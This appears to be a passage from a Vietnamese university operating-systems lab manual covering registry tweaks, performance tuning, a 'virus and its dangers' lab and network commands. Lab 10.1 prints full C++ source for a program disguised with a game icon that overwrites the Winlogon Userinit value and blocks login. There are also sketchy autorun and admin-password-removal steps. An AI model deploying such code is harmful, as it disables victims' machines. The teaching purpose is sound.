  59. Lab8: Tìm hiểu về Registry Hệ điều hành Minh họa trong Registy Editor Name Type Data (Deafult) REG_SZ (not set value) NoSMHelp REG_DWORD 0x00000001(1) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer Name: NoSMHelp Type: REG_DWORD Value: 0 - hiển thị menu Help, 1 - tắt menu Help. 8.16 Tắt menu Search trên Start Menu Hướng dẫn này giúp bạn tắt menu Search trên Start menu. Tắt menu này đồng nghĩa với việc vơ hiệu hố cơng cụ tìm kiếm của Windows. Bạn phải cân nhắc trước khi chỉnh sửa. Tìm đến khố chỉ ra bên dưới trong Regsitry Editor, tạo một giá trị kiểu DWORD mới với tên "NoFind" nếu chưa cĩ và sửa dữ liệu cho nĩ thành 1 tắt menu Search trên Start Menu. Minh họa trong Registy Editor Name Type Data (Deafult) REG_SZ (not set value) NoFind REG_DWORD 0x00000001(1) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer Name: NoFind Type: REG_DWORD Value: 0 - hiển thị menu Search, 1 - tắt menu Search. 8.17 Ẩn tất cả các Icon trong Systray Tìm đến khố chỉ ra bên dưới trong Regsitry Editor, tạo một giá trị kiểu DWORD mới với tên "NoTrayItemsDisplay" và sửa dữ liệu cho nĩ thành 1. GV: ThS. Đào Quốc Phương Trang 55
  60. Lab8: Tìm hiểu về Registry Hệ điều hành Minh họa trong Registy Editor Name Type Data (Deafult) REG_SZ (not set value) NoTrayItemsDisplay REG_DWORD 0x00000001(1) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer Name: NoTrayItemsDisplay Type: REG_DWORD Value: 0 - hiện các Icon, 1- ẩn tất cả các Icon 8.18 Tắt đồng hồ trên Systray Tìm đến khố chỉ ra bên dưới trong Regsitry Editor, tạo một giá trị kiểu DWORD mới với tên "HideClock" nếu chưa cĩ và sửa dữ liệu cho nĩ thành 1 để ẩn đồng hồ. Minh họa trong Registy Editor Name Type Data (Deafult) REG_SZ (not set value) HideClock REG_DWORD 0x00000001(1) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer Name: HideClock Type: REG_DWORD Value: 0 - hiển thị đồng hồ, 1 - tắt đồng hồ. 8.19 Hiển thị đồng hồ trên Taskbar theo phong cách mới Mặc định trên Taskbar xuất hiện đồng hồ với phần đuơi bằng tiếng Anh là AM, PM. Hướng dẫn này giúp bạn thay đổi chúng thành một từ bất kỳ (nhưng phải khơng quá 5 ký tự) để đồng hồ của bạn sinh động hơn. Và hồn tồn cĩ thể Việt hĩa phần đuơi đĩ với tiếng Việt Unicode cũng như cĩ thể thêm vào phần đâu của đồng hồ một dịng chữ bất kỳ như hình bên dưới. Tìm đến khố chỉ ra bên dưới trong Regsitry Editor. Sửa dữ liệu của giá trị s1159 thành "Sáng" mà mặc định là AM, s2359 thành "Chiều" mà mặc định là PM, sTimeFormat thành "Bây giờ là hh:mm:ss tt". Bạn sẽ cĩ một đồng hồ tuyệt đẹp. GV: ThS. Đào Quốc Phương Trang 56
  61. Lab8: Tìm hiểu về Registry Hệ điều hành Minh hoạ trong Registy Editor Name Type Data (Deafult) REG_SZ (not set value) s1159 REG_SZ Sáng s2359 REG_SZ Chiều sTimeFormat REG_SZ Bây giờ là hh:mm:ss tt My Computer\ HKEY_CURRENT_USER\ Control Panel\ International User Key: HKEY_CURRENT_USER\ Control Panel\ International Name: s1159, s2359, sTimeFormat Type: REG_SZ 8.20 Vơ hiệu hố chức năng Update Windows Hướng dẫn này giúp bạn vơ hiệu hố chức năng cập nhật phiên bản mới của Windows. Tìm đến khố chỉ ra bên dưới trong Registry Editor. Tạo một khố kiểu DWORD mới với tên "NoWindowsUpdate" nếu chưa cĩ và gán dữ liệu cho nĩ là 1 để vơ hiệu hố chức năng Update của Windows. Minh họa trong Registry Editor Name Type Data (Default) REG_SZ (not set value) NoWindowsUpdate REG_DWORD 0x00000001(1) HKEY_CURRENT_USER\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer Name: NoWindowsUpdate Type: REG_DWORD Value: 0 - mặc định, 1 - vơ hiệu hố chức năng Update. 8.21 Ẩn Start Menu Những cái cĩ khi chúng ta tưởng rằng khơng làm được vẫn cĩ thể. Ví như hướng dẫn dưới đây giúp bạn ẩn Start Menu. Khi đĩ nhấn chuột vào nút Start Menu sẽ khơng xuất hiện menu nữa. Mở Registry Editor, tìm đến khố HKEY_CLASSES_ROOT\CLSID\{5b4dae26-b807-11d0-9815- 00c04fd91972}. Sửa tên khố này thành {-5b4dae26-b807-11d0-9815-00c04fd91972}, tức thêm dấu "-" vào sau "{". Muốn hiện lại Start Menu thì xố dấu "-" đi. Cập nhật lại Registry để chỉ sữa chữa này cĩ hiệu lực. GV: ThS. Đào Quốc Phương Trang 57
  62. Lab8: Tìm hiểu về Registry Hệ điều hành 8.22 Thay đổi chữ 'Start' trên Start Menu Bạn cĩ muốn thay chữ Start thành một từ khác, cĩ thể là tên bạn hoặc một từ khác. Điều này cĩ thể làm được theo hướng dẫn sau. Thơng thường muốn đổi chữ Start thì phải dùng một chương trình đọc File nhị phân. Những cĩ một điều nguy hiểm là cĩ thể làm hỏng hệ thống của bạn với một xác suất rất lớn. Nếu muốn thử thì bạn phải lưu lại tập tin Explorer.exe trong thư mục Windows, hoặc WinNT vào một nơi an tồn. Tạo một bản copy của tập tin explorer.exe và đổi tên chúng thành một tên khác. Ví dụ là MyExplorer.exe. Lưu nĩ ở một thư mục khác. - Dùng chương trình ResHacker.exe để tiến hành phẫu thuật tập tin MyExplorer. - Tìm đến nhánh String Table và chọn nhánh 37, chọn số 1033 - Bên màn hình bên phải nhìn thấy chữ “start”, ta gõ lại thành chữ “ElderGreek” chẳng hạn GV: ThS. Đào Quốc Phương Trang 58
  63. Lab8: Tìm hiểu về Registry Hệ điều hành - Biên dịch lại file bằng cách nhấn Compile Script - Vào Registry Editor tìm khố HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon. Tìm khố con của nĩ cĩ tên Shell gán giá trị mới cho nĩ là "MyExplorer.exe". Khởi động lại máy. Khi muốn trở về trạng thái 'Start' nguyên thuỷ thì chỉ việc sửa giá trị của khố "Shell" là "explorer.exe". GV: ThS. Đào Quốc Phương Trang 59
  64. Lab8: Tìm hiểu về Registry Hệ điều hành 8.23 Tắt Settings của Display trong Control Panel Điều này cũng cĩ nghĩa là bạn khơng thể thay đổi được độ phân giải của màn hình mục Settings. User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System. System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System. Name: NoDispSettingsPage Type: REG_DWORD (DWORD Value) Value: (0 = hiển thị tab Settings, 1 = khơng hiển thị tab Settings) 8.24 Tắt mục ScreenSaver của Display trong Control Panel Khi tắt mục ScreenSaver khơng cĩ nghĩa là tắt chế độ ScreenSaver tự chạy, mà là ẩn khơng cho thay đổi, chỉnh sửa ScreenSaver. Vì vậy trước khi tắt nĩ đi bạn phải cân nhắc. User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System. System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System. Name: NoDispScrSavPage Type: REG_DWORD (DWORD Value) Value: (0 = disabled, 1 = enabled) 8.25 Tắt mục thay đổi hình nền của Display trong Control Panel Khơng cho thay đổi hình nền, màu nền của Desktop. User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System. System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System. Name: NoDispBackgroundPage Type: REG_DWORD (DWORD Value) Value: (0 = disabled, 1 = enabled) 8.26 Tắt mục Appearance của Display trong Control Panel User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System. System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System. Name: NoDispAppearancePage Type: REG_DWORD (DWORD Value) Value: (0 = disabled, 1 = enabled) 8.27 Thay đổi Wallpaper của màn hình đăng nhập Khi cài đặt Wallpaper nền cho desktop, wallpaper màn hình đăng nhập ban đầu khơng bị thay đổi và vẫn cịn là wallpaper mặc định. Bạn thay đổi Wallpaper bằng cách sau: Tìm tới từ khố theo đường dẫn: HKEY_CURRENT_USER\Control Panel\Desktop GV: ThS. Đào Quốc Phương Trang 60
  65. Lab8: Tìm hiểu về Registry Hệ điều hành Value Name: Wallpaper Data Type: REG_SZ Cho dữ liệu của của wallpaper là đường dẫn và tên tập tin bitmap (BMP) muốn làm nền. Ví dụ: C:\windows\mylogo.bmp. Lưu ý: Trong cùng khố, bạn cũng cĩ thể thiết lập các giá trị bổ sung “Pattern” = “(None)”, và TitleWallpaper = “” 8.28 Cài đặt logo cơng ty và thơng tin cơng ty trong My Computer B1 : Đầu tiên bạn chuẩn bị một logo của cơng ty ở B2 : một tập tin văn bản cho biết thơng tin về cơng dạng bitmap đổi tên tập tin thành oemlogo.bmp ty lưu dưới tên oeminfo.ini cĩ dạng như sau: [General] Manufacturer=Truong Dai Hoc Mo TP.HCM Model=ShowCase [Support Information] Line1=" " Line2=" Ho tro, Tu van, Ban hang" Line3="" Line4=" " Line5=" Bo Giao Duc & Dao Tao " Line6=" Ban Trung Cap Dai Hoc Mo" Line7="" Line8=" +1 (888) 888-888 (voice)" Line9=" +1 (888) 888-889 (fax)" Line10="" Line11="" Line12=" " B3 : chép hai tập tin oemlogo.bmp và oeminfo.ini B4 : Nhấn chuột phải My Computer Properies, vào thư mục C:\Windows\System32 chúng ta sẽ thấy màn hình như sau GV: ThS. Đào Quốc Phương Trang 61
  66. Lab8: Tìm hiểu về Registry Hệ điều hành 8.29 Thay đổi màn hình Boot Screen của Windows B1 : chuẩn bị một tập tin hình ảnh bitmap 640 x 480 B2 : nhấn chuột phải My Computer ~> Properties với 16 màu. Đổi tên thành boot.bmp và sao chép ~> chọn thẻ Advanced ~> trong mục Startup and tập tin này vào trong thư mục C:\Windows Recovery nhấn Settings B3 : trong mục System startup nhấn Edit để chỉnh B4 : thêm tham số sau vào /bootlogo /noguiboot, sửa một số thơng tin hệ thống. lưu lại và boot lại máy để xem kết quả. Hoặc cĩ một cách khác là chúng ta cĩ thể dùng phần mềm BootSkin (sinh viên tự tham khảo cách dùng phần mềm này) GV: ThS. Đào Quốc Phương Trang 62
  67. Lab9: Tối ưu hệ thống và bảo mật Hệ điều hành Lab 9 TỐI ƯU HỆ THỐNG VÀ BẢO MẬT 9.1 Một số dịch vụ cĩ thể vơ hiệu hố Khi khởi động hệ thống, Windows sẽ tự động kích hoạt nhiều dịch vụ (services) mà người dùng khơng cần tới. Điều này làm thời gian khởi động máy lâu hơn và tiêu tốn nhiều tài nguyên hệ thống hơn. Do vậy, bạn cĩ thể vơ hiệu hĩa những dịch vụ khơng cần thiết, cách thực hiện như sau: Nhấp Start > Run gõ lệnh msconfig rồi nhấn Enter, xuất hiện hộp thoại Nhấp chọn thẻ Services. Trong danh sách bên dưới, hãy bỏ dấu kiểm trước các mục sau để vơ hiệu hĩa chúng. Sau đây là một số dịch vụ khơng cần thiết: Alerter, Application Management, Background Intelligent Transfer Service, Clipbook, Error Reporting Service, Fast User Switching, Help and Support, IMAPI CD- Burning COM Service, Indexing Service, IP SEC, Messenger, Net Logon, Network DDE, NT LM Security Support Provider, Performance Logs and Alerts, Portable Media Serial Number, QOS RSVP, Remote Desktop Help Session Manager, Remote Assistance, Remote Registry, Routing & Remote Access, Secondary Login, Smart Card, Smart Card Helper SSDP, Discovery Service TCP/IP NetBIOS Helper, Telnet, Uninterruptible Power Supply Service, Universal Plug and Play Device Host Upload Manager, Volume Shadow Copy Service, Web Client, Wireless Zero Configuration, WMI Performance Adapter. 9.2 Dọn dẹp thư mục Prefetch WindowsXP sử dụng một kỹ thuật Prefetch, giúp giảm thời gian khởi động các ứng dụng mới dùng gần nhất. Sau một thời gian sử dụng, thư mục Prefetch bị đầy làm tốn dung lượng đĩa cứng. Để dọn dẹp thư mục này, bạn thực hiện như sau: Nhấp Start > Run gõ Prefetch rồi nhấn Enter. Nhấn Ctrl-A để chọn tất cả các đối tượng. Nhấn Delete để xĩa. GV: ThS. Đào Quốc Phương Trang 63
  68. Lab9: Tối ưu hệ thống và bảo mật Hệ điều hành 9.3 Giảm hiệu ứng đồ hoạ Mặc định, Windows XP sử dụng khá nhiều các hiệu ứng đồ họa nhằm tạo giao diện bắt mắt người dùng. Tuy nhiên, những hiệu ứng này sẽ làm giảm tốc độ truy xuất của hệ thống. Do đĩ, nếu thấy khơng cần thiết bạn cĩ thể vơ hiệu hĩa chúng bằng các bước như sau: Nhấp phải biểu tượng My Computer chọn Properties rồi chọn thẻ Advanced. Trong khung Performance, nhấp Settings. Danh sách các hiệu ứng được liệt kê. Để bỏ hiệu ứng nào bạn nhấp bỏ dấu chọn trong hộp kiểm. Hoặc nếu muốn vơ hiệu hĩa tất cả, nhấp chọn mục Adjust for best performance 9.4 Tăng hiệu năng hệ thống Nếu trong hệ thống bộ nhớ RAM nhiều hơn 512MB, bạn cĩ thể thực hiện bỏ chế độ RAM ảo để tăng hiệu năng hệ thống: Vào Start > Run gõ Regedit, nhấn Enter. Lần lượt duyệt tới các khĩa HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Session Manager \ Memory Management \ DisablePagingExecutive. Trong hộp thoại Value Data, nhập giá trị là 1, nhấp OK. Khởi động lại máy tính để thay đổi cĩ hiệu lực. GV: ThS. Đào Quốc Phương Trang 64
  69. Lab9: Tối ưu hệ thống và bảo mật Hệ điều hành 9.5 Ẩn máy tính khỏi Network Neighborhood Trong mạng nội bộ, cĩ những lúc bạn cần chia sẻ tập tin từ một máy tính, và đơi khi cũng muốn ẩn máy này đi, khơng cho nĩ xuất hiện trong Network Neighborhood. Để thực hiện, bạn làm như sau: Vào Start > Run gõ lệnh net config server /hidden:yes rồi nhấn Enter 9.6 Vơ hiệu hĩa Shared documents Để vơ hiệu hĩa thư mục Shared Documents, khơng cho người dùng khác cĩ thể thấy nĩ trên mạng nội bộ, bạn làm như sau: Vào Start > Run gõ Regedit rồi nhấn Enter. Lần lượt duyệt tới các khố HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ Ngay khĩa Explorer, nhấp phải chuột chọn New > DWORD Value, nhập tên NoSharedDocuments. Nhấp đúp lên giá trị vừa tạo và nhập giá trị 1 trong mục Value Data Khởi động lại máy tính để thay đổi cĩ hiệu lực. 9.7 Khơng cho phép xĩa các Printers đã thiết lập Printers and Faxes là một trong các thành phần chính của Control Panel trong tất cả các phiên bản của Windows. Nĩ cĩ nhiệm vụ thiết lập hoạt động cho các máy in, fax. Hướng dẫn này giúp bạn hạn chế chức năng xĩa một máy in đã được thiết lập trong Printer and Faxes. GV: ThS. Đào Quốc Phương Trang 65
  70. Lab9: Tối ưu hệ thống và bảo mật Hệ điều hành Mở Registry Editor, tìm đến khĩa chỉ ra bên dưới. Tạo một giá trị kiểu DWORD với tên "NoDeletePrinter" nếu nĩ chưa cĩ và nhập dữ liệu cho nĩ là 1 để hạn chế chức năng xĩa các Printers đã được thiếp lập trong Printers and Faxes. Minh họa trong Registry Editor Name Type Data (Default) REG_SZ (not set value) NoDeletePrinter REG_DWORD 0x00000001(1) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer. Name: NoDeletePrinter Type: REG_DWORD Value: 0 - mặc định, 1 - khơng cho xĩa các Printers đã được thiết lập trong Printers and Faxes. 9.8 Tăng tốc độ lướt web Hướng dẫn này giúp bạn chỉnh sửa Registry để tăng tốc độ lướt web. Tìm đến khĩa sau: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Explorer\ RemoteComputer\ NameSpace. Xĩa giá trị: {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. 9.9 Hạn chế một số ứng dụng mà các người dùng cĩ thể chạy Tạo các khố mới tên là 1, 2, 3, với kiểu REG_SZ và nhập đường dẫn vào cho giá trị các khố đĩ để chỉ định các chương trình khơng cho phép người dùng chạy. User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer Name: DisallowRun 9.10 Xố mật khẩu Admin Dùng đĩa CD Hiren Boot hay sử dụng lệnh net user. Ví dụ : muốn xố mật khẩu của người quản trị thì ta gõ lệnh như sau GV: ThS. Đào Quốc Phương Trang 66
  71. Lab10: Virus và sự nguy hiểm Hệ điều hành Lab 10 VIRUS VÀ SỰ NGUY HIỂM Chú ý : Các thao tác được hướng dẫn chỉ mang tính chất tham khảo phục vụ trong việc học tập giúp sinh viên phát huy sáng kiến nhằm giúp đỡ cộng đồng trong việc tiêu diệt và chống lại các virus, các sinh viên được cảnh báo khơng sử dụng trong việc khác. 10.1 Virus LogOff Virus này sẽ làm thay đổi giá trị trong khố Userinit thuộc nhánh HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon và vì thế làm cho máy bị nhiễm khơng thể đăng nhập vào Windows. Sau đây là thao tác cơ bản để tạo virus này (đã bỏ đoạn code gây lây nhiễm) Chuẩn bị : Bộ lập trình Visual Studio 6.0 Ngơn ngữ sử dụng C++. Icon game để tạo biểu tượng cho chương trình khiến người dùng nhầm tưởng là game. B1 : khởi động Visual C++ 6.0. Tạo một project tên B2 : dánh dấu mục “A simple Win32 Application” game thuộc loại chương trình Win32 Application. khai báo cho biết chương trình sẽ chạy trên nền Nhấn File ~> New ~> Project. Nhấn OK đi tiếp. Windows. Sau khi đã tạo xong project, ta bắt đầu bắt tay vào viết code để chỉnh sửa registry. GV: ThS. Đào Quốc Phương Trang 67
  72. Lab10: Virus và sự nguy hiểm Hệ điều hành B3 : double click vào tập tin mã nguồn game.cpp và bắt đầu viết code ở màn hình bên phải Đoạn mã code // game.cpp : Defines the entry point for the application. // #include "stdafx.h" #include "windows.h" int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. HKEY hKey; unsigned char szStr[5]; szStr[0]='a';szStr[1]='.';szStr[2]='e';szStr[3]='x';szStr[4]='e'; //chinh sua khoa HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE"),0, KEY_ALL_ACCESS, &hKey); RegOpenKeyEx(hKey, TEXT("Microsoft"),0, KEY_ALL_ACCESS, &hKey); RegOpenKeyEx(hKey, TEXT("Windows NT"),0, KEY_ALL_ACCESS, &hKey); RegOpenKeyEx(hKey, TEXT("CurrentVersion"),0, KEY_ALL_ACCESS, &hKey); RegOpenKeyEx(hKey, TEXT("WinLogon"),0, KEY_ALL_ACCESS, &hKey); RegSetValueEx(hKey, TEXT("Userinit"), NULL, REG_SZ, szStr, sizeof(szStr)); RegCloseKey(hKey); return 0; } GV: ThS. Đào Quốc Phương Trang 68
  73. Lab10: Virus và sự nguy hiểm Hệ điều hành B4 : tạo biểu tượng cho chương trình. Nhấn Insert B5 : đưa icon vào project bằng cách nhấn chuột ~> Resource ~> chọn Icon ~> nhấn Import chỉ đến phải thư mục Resource Files ~> chọn Add Files To đường dẫn chứa icon của chương trình. Lưu lại Folder và chỉ đến file myapp.rc đã tạo ở bước trên thành tập tin resource myapp.rc B6 : biên dịch chương trình thành file thực thi bằng B7 : double click và chạy thử chương trình. Sau đĩ cách nhấn menu Build ~> Build game.exe. Sau đĩ khởi động lại Windows và xem chuyện gì xảy ra. vào thư mục Debug sẽ thấy file chương trình Cách diệt : nghe GV hướng dẫn trên lớp GV: ThS. Đào Quốc Phương Trang 69
  74. Lab10: Virus và sự nguy hiểm Hệ điều hành 10.2 Virus AutoRun File autorun.inf được lưu tại thư mục gốc (C:\, D:\ ) của các ổ đĩa. Nội dung của file autorun.inf sẽ “cấu hình” cho windows hiểu phải làm những gì khi mở ổ đĩa theo cách truyền thống: “click đúp” hoặc mở ổ đĩa bằng cách nhấn chuột phải và chọn lệnh trên menu con. Để hiểu thêm về file này ta làm thí nghiệm sau. B1 : Hãy tạo file thực thi tự động nguyhiem.bat với B2 : Sau đĩ tạo file autorun.inf với nội dung như nội dung như sau và lưu vào ổ D:\ sau và lưu vào ổ D:\ Hãy Logoff và đăng nhập lại vào hệ thống, thử nhấn đúp vào ổ đĩa D: xem chuyện gì xảy ra. Tuy nhiên người dùng vẫn sẽ thấy hai tập tin autorun.inf và nguyhiem.bat trên ổ đĩa D:\ nên vẫn cĩ thể xố các file này, vì vậy muốn làm ẩn đi các file này chúng ta sẽ gõ lệnh như sau: B3 : Người dùng vẫn thấy hai tập tin trên ổ đĩa D:\ B2 : mở màn hình lệnh Command và gõ các lệnh Cách phịng chống : nghe GV hướng dẫn trên lớp GV: ThS. Đào Quốc Phương Trang 70
  75. Lab11: Các lệnh về mạng Hệ điều hành Lab 11 CÁC LỆNH VỀ MẠNG 11.1 Lệnh IPCONFIG Xem cấu hình IP của máy tính kết nối mạng (dùng HĐH Windows) bằng lệnh ipconfig. Ghi lại kết quả của lệnh và phân tích các thơng số. IP Address : Subnet Mask : MAC Address : Default Gateway (Router) : DHCP Server : DNS Server IP Address : WINS Server IP Address : 11.2 Lệnh PING Lệnh này dùng để kiểm tra kết nối mạng từ một host đến một host khác. Cú pháp lệnh : ping [host] Ví dụ : địa chỉ IP của máy X là 192.168.6.10. Ta dùng lệnh ping để kiểm tra kết nối đến máy X như sau ping 192.168.6.10 GV: ThS. Đào Quốc Phương Trang 71
  76. Lab11: Các lệnh về mạng Hệ điều hành Trường hợp 1: Nếu máy cĩ kết nối tới máy X thì Trường hợp 2: Nếu máy khơng cĩ kết nối tới máy sẽ máy X sẽ trả lời lại như sau: cĩ thơng báo như sau: Reply from 192.168.6.10 : . Request timed out. Thực hành 1. Kiểm tra kết nối đến máy của bạn mình kế bên và các bạn khác trong lớp. 2. Kiểm tra kết nối đến máy chủ cĩ tên hoặc địa chỉ dưới đây: - www.thanhnien.com.vn - www.ou.edu.vn - 192.168.0.3 - - www.nhacso.net - www.google.com - www.google.com.vn Nhận xét các kết quả. 11.3 Lệnh NETSTAT Lệnh này dùng để xem các kết nối TCP/UDP hiện hành tại một host. Mở chương trình Internet Explorer, thực hiện kết nối vào www.vnn.vn, vnexpress.net Gõ lệnh netstat [–a] [interval] trong cửa sổ lệnh. –a: hiển thị trạng thái tất cả các kết nối và cổng; interval chỉ thời gian lặp của các lần hiển thị trạng thái mạng. (ví dụ: netstat –a 2) Ghi lại kết quả và phân tích các thơng số trong kết quả nhận được. GV: ThS. Đào Quốc Phương Trang 72
  77. Lab11: Các lệnh về mạng Hệ điều hành 11.4 Lệnh TRACERT Dùng chương trình tracert.exe để xác định lộ trình (route) của kết nối internet từ một máy đến một máy khác trên mạng. Hãy ghi lại kết quả của các lần kiểm tra sau đây: - tracert www.thanhnien.com.vn - tracert www.yahoo.com - tracert www.ou.edu.vn - tracert www.tuoitre.com.vn - tracert www.rmit.edu.au - tracert www.mit.edu - tracert www.google.com.vn - tracert www.google.com Với các kết quả trên, sinh viên hãy cho nhận xét về đường đi của một kết nối được mở từ máy trong phịng thực hành đến một máy tính bất kỳ. 11.5 Lệnh NET SEND Dùng lệnh net send để gửi tin nhắn đến một người dùng, một máy, hoặc một tên biệt danh trên mạng. Dịch vụ tin nhắn Messenger phải được chạy để dùng được lệnh Net send B1: Kiểm tra service Messenger đã được kích hoạt B2: Muốn chạy dịch vụ Messenger ta double click để chạy nền chưa bằng cách nhấn chuột phải My vào dịch vụ sẽ làm xuất hiện một hộp thoại, ta nhấn Computer Manage chọn mục Services and nút Start. Application Services. Nếu trạng thái chưa Started thì qua B2 để chạy service này. GV: ThS. Đào Quốc Phương Trang 73
  78. Lab11: Các lệnh về mạng Hệ điều hành B3: Gửi tin nhắn theo cú pháp sau B4: Thơng điệp nhận được trên máy 192.168.6.13 D:\>net send 192.168.6.13 Happy New Year! 11.6 Sử dụng tiện ích chẩn đốn mạng Tiện ích Network Diagnostic cĩ tác dụng quét hệ thống và tổng hợp thơng tin về phần cứng, phần mềm và kết nối mạng. Đây là một tiện ích khá hay mà ít người sử dụng máy tính quan tâm. Để sử dụng nĩ, bạn làm như sau: Vào Start > Run gõ lệnh NETSH DIAG GUI rồi nhấn Enter. Ở cửa sổ hiện ra, nhấp chọn Scan your system. Đợi vài giây cho chương trình làm việc, kết quả là bạn sẽ cĩ được khá nhiều thơng tin về hệ thống. GV: ThS. Đào Quốc Phương Trang 74
  79. Lab11: Các lệnh về mạng Hệ điều hành 11.7 Sử dụng NetMeeting Window XP cĩ một tính năng khá hay đĩ là Netmeeting. Dùng chương trình này bạn cĩ thể chat, thậm chí chat voice, send file trong LAN như bạn đang dùng yahoo vậy. Ngồi ra, nếu forward port, bạn cũng cĩ thể sử dụng chương trình này để tạo cuộc họp qua internet ! Để sử dụng netmeeting, đầu tiên bạn hãy chắc chắn service của tool này khơng bị disable, bằng cách vào phần Computer management để kiểm tra xem service netmeeting remote destop sharing đã được enable hay chưa. Nếu chưa thì hãy chuyển chế độ của service này sang dạng automatic ( khởi động cùng window), và chọn nút start để khởi động service. Chi tiết cách khởi động một service đã cĩ hướng dẫn trong mục 5.5 Bước 1: Khởi động chương trình: - Để khởi động NetMeeting, bạn nhấn nút Start > run > gõ conf - Chương trình netmeeting sẽ bắt đầu khởi động. - Khi bạn chạy NetMeeting lần đầu tiên, chương trình wizard sẽ giúp bạn cài đặt một số thơng số cần thiết để cĩ thể sử dụng NetMeeting. Nếu bạn bỏ qua trình wizard này, bạn sẽ khơng thể sử dụng được NetMeeting. Nếu bạn chỉ cần kết nối, hội đàm trong mạng LAN thì chỉ việc ấn Next ở mỗi bước(để default) là được. - Màn hình đầu tiên chỉ việc ấn Next: GV: ThS. Đào Quốc Phương Trang 75
  80. Lab11: Các lệnh về mạng Hệ điều hành Điền tên, họ và email: Nếu bạn chat qua Lan thì màn hình này cũng ấn Next luơn: GV: ThS. Đào Quốc Phương Trang 76
  81. Lab11: Các lệnh về mạng Hệ điều hành Chọn For personal use Chọn loại kết nối: Ta chat trong Local > chọn mục thứ 4. Màn hình tiếp theo ta chọn default là được: GV: ThS. Đào Quốc Phương Trang 77
  82. Lab11: Các lệnh về mạng Hệ điều hành Bước 2: Nếu bạn chỉ để default ở các bước khai báo, ta cũng cĩ thể sửa lại các thơng số bằng cách Vào Menu Tools > Options cịn nếu khơng thì bỏ qua - Tab General : Bao gồm các thơng số first name, last name, email, Location và comment.Nếu ở các bước thiết lập cấu hình ban đầu bạn đã làm rồi thì khơng cần nữa. Nhấn vào nút Bandwidth Settings sau đĩ chọn Local Area Network để thực hiện trao đổi thơng tin trên mạng nội bộ LAN. - Tab Security : khơng chỉnh sửa gì - Tab Audio: điều chỉnh âm lượng của video và loa - Tab Video: điều chỉnh các thơng số cho webcam và gửi nhận hình ảnh. GV: ThS. Đào Quốc Phương Trang 78
  83. Lab11: Các lệnh về mạng Hệ điều hành Bước 3: Thực hiện cuộc gọi Yêu cầu: các máy phải đang chạy Netmeeting mới liên lạc với nhau được, gọi đến máy nào phải biết địa chỉ IP máy đĩ. Thực hiện : Chọn Call – New call - nhập vào địa chỉ IP máy muốn liên lạc, ví dụ: 192.168.6.50, bấm chọn nút Call, đợi máy kia chấp nhận cuộc gọi. Máy được gọi sẽ nghe tiếng chuơng reo và hiện thơng báo bên dưới màn hình NetMeeting, Bấm nút Accept để chấp nhận cuộc gọi. Bước 4: Sử dụng các tiện ích trên Netmeeting • Tools – Sharing: chúng ta cĩ thể chia sẻ màn hình làm việc (Desktop) hay chương trình, tập tin, thư mục đang mở trên máy với thành viên khác. Chọn chương trình trong danh sách và bấm nút Share. • Tools – Chat: Trao đổi với nhau bằng ký tự (Text) • Tools – Whiteboard: Dùng chung chức năng “bảng trắng”. Các thành viên cĩ thể cùng thực hiện các thao 